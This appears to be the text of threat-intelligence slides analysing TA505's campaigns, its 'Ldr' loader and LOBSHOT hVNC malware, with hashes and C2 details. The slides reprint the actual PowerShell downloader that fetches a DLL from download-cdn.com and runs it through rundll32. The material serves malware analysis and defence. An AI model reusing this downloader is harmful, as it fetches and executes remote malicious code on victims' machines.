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Short Arsenal Story…

Malspam Campaigns

● ~November 2018, ServHelper

● ~September 2019, Get2 & SDBbot

● ~September 2021, MirrorBlast

● ~August 2022, Truebot*

GoogleAds Campaign

● ~September 2022, hVNC malware

Exploits

● ~December 2020, Accellion FTA

● ~October 2021, SolarWinds Serv-U

● ~February 2023, GoAnywhere MFT

● ~June 2023, MOVEit



Ringing the Bell…

● Malspam Campaign 7th February 
2020

● “download-cdn[.]com” distributed a 
malicious XLS file which contained 2 
Get2 downloaders (x86 & x64)

● Get2 downloaded SDBBot from 
“hxxps://ms-break[.]com/rrrdd1”

Source: https://twitter.com/1ZRR4H/status/1617661947851464704

Extra: https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/

https://twitter.com/1ZRR4H/status/1617661947851464704
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/


Diving in…



MSI Downloader

● Executes Base64 encoded powershell
● Powershell downloads and executes “Ldr” DLL

$from = Split-Path (Get-ItemProperty  Path "HKCU:\SOFTWARE\Litesoft\Install").Path -leaf;
$dir = $env:programdata;
$fn = $dir + "\" + (Get-Random).ToString("x8") + ".dat"
$wc = New-Object System.Net.WebClient;

$d = "https://download-cdn.com";
$wc.DownloadFile($d + "/download.php?f=Ldrp.dll&from=" + $from, $fn);

$raw = "MZ" + (Get-Content -Path $fn -Raw).Remove(0, 2);

Set-Content -Path ($fn) -NoNewline -Value $raw
Start-Process -FilePath rundll32.exe -ArgumentList ('"' + $fn + '",DllRegisterServer');



MSI Downloader, Older Variant

● Early MSI samples spotted ~mid-September 2022 (Messenger.msi)
● MSI contained the “Ldr” DLL embedded
● “Ldr” dropped at %AppData%

SHA256: 04af1e05a9757943501fe19faa44fe1e55cabffab09834725ce0d7fed7831bc1



“Ldr” Downloader

Main DLL Exports:

1. DllRegisterServer (Installer), Downloads from C&C and executes hVNC malware. 
2. DllUnregisterServer (Loader), Similar functionality to DllRegisterServer without 

persistence.

Functionalities: 

● Custom XOR String Decryption
● Resolves Dynamic Windows API via GetProcAddress
● Maintains Persistence via Run Registry Key (export DllUnregisterServer)
● Drops downloaded DLL into Registry
● Loads from Registry and executes DLL in memory (export DllInstall)



“Ldr” Downloader, String Decryption (1/2)



“Ldr” Downloader, String Decryption (2/2)

● “Seed” XOR-Key derived from WTSEnumerateSessionsA
○ SessionId = 0x0
○ pWinStationName = “Services” (“S” = 0x53)
○ xor_seed = 0x0 ^ 0x53 = 0x53



“Ldr” Downloader, executing DLL
1. Loads Executable to 

Memory
2. Retrieves DllInstall export
3. Pushes arguments and 

executes export.

1st argument is 0x72ECB505

Linked Execution since 
~September 2022



hVNC Malware aka LOBSHOT

Capabilities:

● hVNC
○ Start Browsers
○ Execute Run & CMD Commands
○ Set/Get Clipboard Text
○ Terminate Browser and explorer processes
○ …

● Download and Execute DLL/Executables
● Execute CMD commands
● Update itself
● Scan and report Crypto Wallets Browser Extensions



LOBSHOT is actually… a custom TinyNuke fork

Source: https://github.com/rossja/TinyNuke/

Original Src.: https://github.com/aainz/TinyNuke

Custom: 
● communication
● string decryption (same as 

Ldr.dll)
● supports only Iexplore, 

Edge, Mozilla, Chrome
● sends Display information
● tampers with sound 

effects
● …

https://github.com/rossja/TinyNuke/
https://github.com/aainz/TinyNuke


Network Communication



● Beginning of February 2022 version 2.0
● End of February 2022 version 4.0 (packed 

with CryptOne)
● Since version 6.00 “cmp_id” is added for 

the initial handshake.

Old variants

SHA256: 6f7a673bc42d8bc82dd87cd0355f7a3d2eb7d4d2b92c59f16b4512522e1984fb
SHA256: c00b48d6c1758f10874771d742c025a2837b6b0e72cd5a4af2e91a6ab98312e1

0x600 hvnc, pnl, usa-ldr

0x700 pnl7.3, pnl7.e

0x705 7.5

0x706 7.5, 7.6, 7.6.1, 7.7, 7.7_spec, 7.8, 9.31, 9.32, msi, msi_7.6nc



TA505 - Initial Attack C&C (1/2)



TA505 - Initial Attack C&C (2/2)
● HTTPS request to download.php
● download.php retrieves file (xls/exe/dll) from files/uploads folder
● Renames original filename for specific target
● Alters file bytes for hashbasting



Conclusion

● GoogleAds observed starting ~January 2023
● High possibility starting even earlier ~September 2022
● “New” tools in their Arsenal

● Custom TinyNuke observed since ~February 2022
● hVNC capabilities

● Crypto Wallets interests
● Including new targets except organizations for ransom.
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